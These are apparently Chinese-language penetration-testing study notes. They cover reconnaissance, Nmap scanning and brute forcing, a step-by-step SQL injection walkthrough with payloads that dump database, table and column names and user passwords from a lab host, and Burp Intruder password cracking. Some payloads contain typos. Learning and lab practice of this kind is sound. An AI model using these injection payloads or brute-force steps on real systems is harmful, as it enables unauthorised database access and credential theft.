【渗透测试】
第一阶段:安全测试概述。
1.网络安全:根据我国网络安全法规定,未经过授权的扫描都是违法的。
第二阶段:情报搜集
1. 解析DNS服务器信息:站长之家、爱站,通过whois查询网站信息。
2. 子域名信息:主域名防御等级过高,可以通过子域名发起攻击(Layer子域名挖掘工具)
3. 开放的端口
4. 确定版本信息:
(1) 协议类型:HTTP/1.1 200 OK
(2) 页面类型:text/html; charset=utf-8
5. 真实IP地址
6. 网站目录
第三阶段:环境搭建
1.Web应用漏洞扫描器:OWSAP ZAP Web安全测试漏洞扫描工具。
2. 主机探测端口扫描工具:Nmap 端口扫描工具,
(1) nmap -help获取常见命令,
① nmap 192.168.1.1单个IP地址端口扫描
② Nmap --Script brute 暴力破解单个应用,如HTTP/SMTP等,爆破成功后,通过账号和密码,进入cmd-输入net user查看已登录的用户信息
(1) 主机探测:探测主机信息,列出响应Tcp和ICMP请求、ICMP特别开放端口的主机
(2) 端口扫描:探测目标主机上开发的端口
(3) 版本检测:获取目标主机的网络服务,并判断服务名称和版本
(4) 系统检测:探测目标主机的操作系统及网络设备的硬件特征
2. sql注入:Sql注入指当Web用户向后台数据库传递结构化查询语言时,如果影响了数据 库的执行和数据的正确性,则构成了sql注入。举例:通过URL追加sql查询命令,sql 命令没有被转义或者限制,直接传到了数据库并且完成了执行,就造成数据库sql注入。
前提条件:
(1) 传入的参数拼接到sql语句,可以未经过转义或者限制,直接传入数据库被执行。
(2) 前段传递给后端的参数内容必须可自由控制,比如订单号或者字符信息。
(3) 如果存在错误和判断,则证明sql成功传到了数据库被执行,将可以进行注入:
① Select * from users where iD=1’--如果报错,则执行下一句
② Select * from users where iD=1 and 1=1 --因为1=1为真,通过and判断条件,则页面会返回id=1的结果,证明已经直接传到数据库执行了
③ Select * from users where iD=1 and 1=2 --因为1=2不成立,返回的id=1的结果不一致 ,返回错误页面,证明已经直接传到数据库执行了
(4) 默认表获取数据库表明和字段名:库名、表名、列名、内容,一级一级查下去。
① Show databases;查询当前已有的数据库名称。
② use information_schema;进入公共数据库信息库。
③ Show tables;查询当前库的表名称。
④ desc schemata;查询用户创建的所有数据库的库名的默认字段的列名字。
⑤ Select schema_name from schemata;同上,查询列内容。
⑥ Select table_schema,table_name from tables;查询该用户创建的所有库名和表名。
(5) Sql注入的基本步骤
① 确定注入漏洞的类型和存在问题的参数
② 确定字段数
③ 分析数据库和数据表的相关信息
④ 实施具体的攻击
(6) 实施步骤:如果满足以下3点,表示该URL存在数字型注入。
① 加单引号:URL:http://192.168.1.14?Id=1’,对应的sql:select * from users where id = 1’,这时候语句如果报错,程序无法正常从数据库中查询出数据,就会抛出异常。
② 加 and 1=1: URL:http://192.168.1.14?Id=1 and 1=1,对应的sql:select * from users where id = 1 and 1=1,这时候语句执行正确,与原始页面没有差异
③ 加 and 1=2:URL:http://192.168.1.14?Id=1 and 1=2,对应的sql:select * from users where id = 1 and 1=2 语句可以正常执行,但是无法查询出结果,所以返回数据与原始网页存在差异。
④ 调试:火狐插件可以调试,hackbar (新版本火狐该插件要收费,可以安装老版)
(7) 确认可以数字注入后,开始注入:库名、表名、列表、内容
① http://192.168.1.14?Id=1 order by 1;如果可以正常执行,执行下一步。
② http://192.168.1.14?Id=1 order by 10;如果还可以正常执行,执行下一步。
③ http://192.168.1.14?Id=1 ordre by 11;如果报错,表示只有10个字段。
④ http://192.168.1.14?Id=1 union select 1,2,3,4,5,6,7,8,9,10;如果结果返回字段名称1:字段名称2:字段名称3:,表示可以输入三个字段查询。
⑤ http://192.168.1.14?Id=1 union select user(),database(),version(),4,5,6,7,8,9,10,返回字段名称1:root@localhost,字段名称2:hackyl,字段名称3:5.5.51
⑥ 根据前面讲到的如果查到了库名称hackyl,那么可以通过默认库查询到字段名
⑦ http://192.168.1.14?Id=1 union select 1,table_name,4,5,6,7,8,9,10 from information_schema.tables where table_schema = hackyl;这里由于网站做了转义安全限制,\’hackyl\’返回结果会报错,百度下载一个”小葵功能转换工具”,把hackyl转移成mex-16进制,然后输入语句的最后=x0000000c,得到表名liuyan表和user表
⑧ http://192.168.1.14?Id=1 union select union select 1,column_name,3,4,5 from infomation_schema.columns where table_name = =0X757423(这里是user的十六进制),执行,获得了表的列明username,password
⑨ http://192.168.1.14?Id=1 union select 1,username,password,4,5,..10 from user,执行就获得了用户名和密码。
⑩ 流程:先获得库名:hackyl,再获得表名:user,再获得列名:username,再获得内容用户名和密码。
(8) 字符串注入:
① http://192.168.1.14?name=’admin’ and 1=1’;由于字符型必须是成对的单引号,所以and 1=1’这种会语法报错,需要通过三种注释符号-- 、#、/**/来注入
② http://192.168.1.14?name=’admin’ and 1=1#’;
③ 原理不变,同上~
(9) 搜索型sql注入:靶场pikachu漏洞练习平台 pika-pika-;
① Select * from user where name like ‘%李%’;通过把查询条件‘李’改成select注入语句,就可以获得信息。
② Select * from user where name like ‘%李%’ or 1=1#,一个一个试验,看结果
③ Select * from user where name like ‘%李%’ and 1=1#,一个一个试验,看结果
(10)暴力破解
①代理-登录-抓包-ctrl+i(右键send intrude)-2-posions-clear$(清除name行没用符号)-选中密码高亮-点击add(添加爆破字典)-切换标签payloads-点击add(load添加内置或者add自己的字典TXT文件)-选中top菜单第二项indruder的第一个start strack -然后开始爆破-查看结果里面length长度-很多一样的中间有一个不一样的,就是正确密码(q取决于你的密码字典要很全)
admin 88888 111111
3.对公开资源的研究(厂商的漏洞警告、google hacking等)
第四阶段:漏洞分析
第七阶段:报告
法律声明、渗透测试协议、简介、项目目标、假定和限制、漏洞的影响、执行摘要、风险矩阵、测试方法、安全威胁、改进建议、漏洞映射、利用方法、合规性评估、变更管理、最佳实践、附录